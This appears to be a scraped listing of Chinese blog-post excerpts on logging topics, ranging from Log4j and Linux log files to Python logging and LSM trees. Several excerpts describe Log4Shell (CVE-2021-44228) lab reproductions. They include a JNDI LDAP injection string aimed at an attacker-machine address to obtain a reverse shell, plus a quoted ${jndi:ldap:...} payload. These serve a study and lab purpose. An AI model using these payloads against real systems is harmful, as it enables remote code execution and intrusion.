log4j log4 log 4j
log4j2漏洞复现
【1】漏洞原理：Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议 即可)【2】复现：（1）启动靶场环境：（2）反弹shell：http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://攻击机ip:1389/Ba ......
log-2023-03-30
TODO: 解析static route所在行，preference 根据interface连接获取layer2拓扑 peer不连通的诊断 PAPERS: * CODE: list/set对象循环时如果会动态删除：用iterator（for循环会报错）。@link CONFUSIONS: 在IGP信 ......
Linux 服务器大量的 log 日志，如何正确看日志快速定位错误？你必须学会！
针对大量log日志快速定位错误地方 动态查看日志 tail -f catalina.ou 从头打开日志文件 cat catalina.ou 可以使用 >nanjiangtest.txt 输出某个新日志去查看 [root@yesky logs]# cat -n catalina.out |grep 7 ......
k8s pod log日志不显示python print打印的内容
问题 Python 程序代码中使用 print() 打印的内容，在查询 k8s pod 日志时不显示。 原因 print() 函数 Python 的 print() 函数签名如下： print(*objects, sep=' ', end='\n', file=None, flush=False) ......
Log4Net MaxSizeRollBackups和MaxFileSize不生效问题解决办法
一.常规Log4Net开发 在.net开发上关于日志方面输出大多数都是使用Log4Net类库进行开发，大家在配置Log4Net的配置文件时一般都可以查到如下配置，一般复制下来就可以使用。 1 2 3 4 5 6 7 8 9 10 11 12 13 <appender name="ErrorAppen ......
log-2023-03-27
TODO:（one week） Forwarding tree生成 （最终修复的误报率很大程度上取决于这个tree的优劣） （这里指的是BGP的，在有reference的情况下） Observable： 和现有的（错误的）转发行为/路径相差尽可能小【贪心地认为转发面差距越小则控制面决策更改越少】 保 ......
log-2023-03-29
TODO: ForwardingTree 调试：1) prim计算树，2）static反序列化，诊断，3）根据refTree生成？ Config Taint：1）找到static部分，2）找到policy部分，3）找到peer部分 PAPERS: NetKAT???【PL的文章太反人类了】：for ......
LSMT（Log-Structured Merge-Tree）
LSM简介Log Structured Merge Tree，下面简称 LSM。2006年，Google 发表了 BigTable 的论文。这篇论文提到 BigTable 单机上所使用的数据结构就是 LSM。目前，LSM 被很多存储产品作为存储结构，比如 Apache HBase, Apache C ......
The Log-Structured Merge-Tree (LSM-Tree)--日志合并
LSM树是一个基于磁盘的数据结构，主要用于为那些高概率插入和删除的记录提供低成本的索引。LSM使用了一个算法来延迟批处理索引变更，然后类似归并排序的方式串联起一个基于内存的组件和若干基于磁盘的组件上面的所有变更信息。该算法相比于传统的B树访问方式大大减少磁盘臂的移动开销。 ......
log4j2
Log4j2（CVE-2021-44228） 漏洞攻击原理 原理概述 当用户输入信息时，应用程序中的log4j2组件会将信息记录到日志中 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}，log4j就会去解析该信息，通过jndi的lookup()方法去解析该U ......
Python logging的dict配置文档参考样式
LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'verbose': { 'format': '{levelname} {asctime} {module} {process:d} {threa ......
《渗透测试》信息打点-语言框架&开发组件&FastJson&Shiro&Log4j&SpringBoot 2023 Day17
1 框架：简单代码的一个整合库，如果使用框架就只需要学习使用框架调用即可 如：文件上传功能是需要很多代码来实现的，框架把这个代码进行封封装，调用即可 影响：如果采用框架开发，代码的安全性是取决于框架的过滤机制 2 组件：第三方的功能模块（日志记录，数据监控，数据转换等） Web架构： 1、最简单最入 ......
注入了一个记录日志的接口，启动微服务工程的时候报错了：No qualifying bean of type 'com.cscecnf.common.log.SysOprLogDao'
【问题描述】 Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'monitorAreaServiceImpl': Injection of resour ......
Linux系统小知识之log文件
/var/log下的各种日志文件记录了系统的一些重要信息，例如登录系统存取数据、安全和认证授权、邮件服务、计划任务等。如果随意删除这些文件，可能会导致一些问题或丢失一些有用的信息。 如果你想清理/var/log下的日志文件，可以使用以下方法： 使用journalctl命令自动维护文件大小，可以设 ......
log-2023-03-03
TODO: Halpern and Pearl's actual causality model Finalize the spec for each protocol PAPERS: Actual Causality Introduction to Temporal Logic An Introd ......
log-2023-03-07
TODO: Tiramisu TPG construction Layer 2: Ifaces have the same prefix (and in the same vlan area, if any): @A-(AB link)-out->@B-(AB link)-in, @A-(* lin ......
log-2023-03-20
TODO: FT generation Diagnosis PAPERS: * CODE: CONFUSIONS: * CONCLUSIONS: Symbolic Execution 和 Model Checking的区别 确定性程序和不确定性：把不同的程序块（一个入口进一个入口出）看作不同状态，确 ......
console.log()是什么意思？怎么用？
https://zhidao.baidu.com/question/366939932563504692.html 除了一些很老版本的浏览器，现今大多数浏览器都自带调试功能；即使没有调试功能，也可以通过安装插件来进行补充。 比如，老版本的Firefox没有自带调试工具，在这种情况下可以通过安装Fir ......
redo log
redo日志会把事务在执行过程中对数据库所做的所有修改都记录下来，属于物理日志，在之后系统崩溃重启后可以把事务所做的任何修改都恢复出来。 redo log（重做日志）是InnoDB存储引擎独有的，它让MySQL拥有了崩溃恢复能力。 比如 MySQL 实例挂了或宕机了，重启时，InnoDB存储引擎会使 ......
undo log
事务回滚用，属于逻辑日志。 行记录隐藏列roll_pointer（7字节）会指向undolog，每条undolog中也有一个roll_pointer指向更早的undolog记录，在mvcc中会使用版本链来达到事务隔离的效果。 我们知道如果想要保证事务的原子性，就需要在异常发生时，对已经执行的操作进行 ......
【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）
#【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228） 0x01 漏洞描述 Apache Log4j2 是一个基于 Java 的日志记录工具， 是对 Log4j 的升级，它比其前身 Log4j 1.x 提供了显着改进，并提供了 Logback 中可 ......
docker ubuntu 无auth.log文件解决
背景`` 需要在docker中的ubuntu测试ssh暴力破解的相关日志分析，发现docker pull ubuntu中无，auth.log文件，但是在ubuntu20.04官方系统中是有这个文件的。 auth.log存储来自可插拔认证模块(PAM)的日志，包括成功的登录，失败的登录尝试和认证方式 ......
【Python】Logging模块简介 & 开启不同颜色日志输出
✨Logging模块简介 Python Logging模块是一个内置的日志处理工具，可以用于记录和输出应用程序的运行状态。该模块提供了一个灵活的方式来控制日志记录的输出和格式，包括记录日志的级别、日志信息的格式和输出位置等。 以下是Python Logging模块的基本概念： Logger：是日志记 ......
How to log in when using gin's non-separated front-end and back-end systems
Person: How to log in when using gin's non-separated front-end and back-end systems? ChatGPT: When using Gin as the back-end system and a non-separate ......
go各框架的log日志
1.kratosLog: type Logger interface { Log(level Level, keyvals ...interface{}) error } type logger struct { logger Logger prefix []interface{} hasValue ......
java 原生项目 使用 log4j 写日志 及 log4j.properties 配置说明
今天遇到一个 java原生项目要使用 log4j 写日志 （非maven ），写下来供大家参考 下载 log4j 包 Apache log4j 1.2 - Download Apache log4j 1.2 把这个文件 放到 项目的 lib 目录下 在项目中引用 这个 jar包 创建 log4j.p ......
logging模块
# coding=utf-8 import logging from logging import handlers import time def mylogger(): #创建一个记录器，命名为test logger = logging.getLogger('test') #告诉它要记录哪些级别 ......
JNDI RMI 远程访问（LOG4j2漏洞底层原理）
JDK 版本 8u112 客户端（模拟被攻击的网站） 服务端（注册 RMI 服务，给被攻击网站提供 RMI 服务） 服务端 IP 192.168.3.175 恶意类（客户端发送请求给服务端，服务端再请求恶意类予以返回） 需要先将恶意类编译成 class 文件再存放到网站上，再通过命令开启服务 恶意类 ......
IIS 部署网站 Log4net日志没有写入
前提： Log4net日志写入是开启状态，并且相关的配置文件完整无异常 可能原因：网站文件相关用户没有写入的权限 操作步骤 右键网站=》编辑权限=》安全=》选择User用户=》编辑=》增加写入权限=》应用 最后问题解决，日志文件成功写入 ......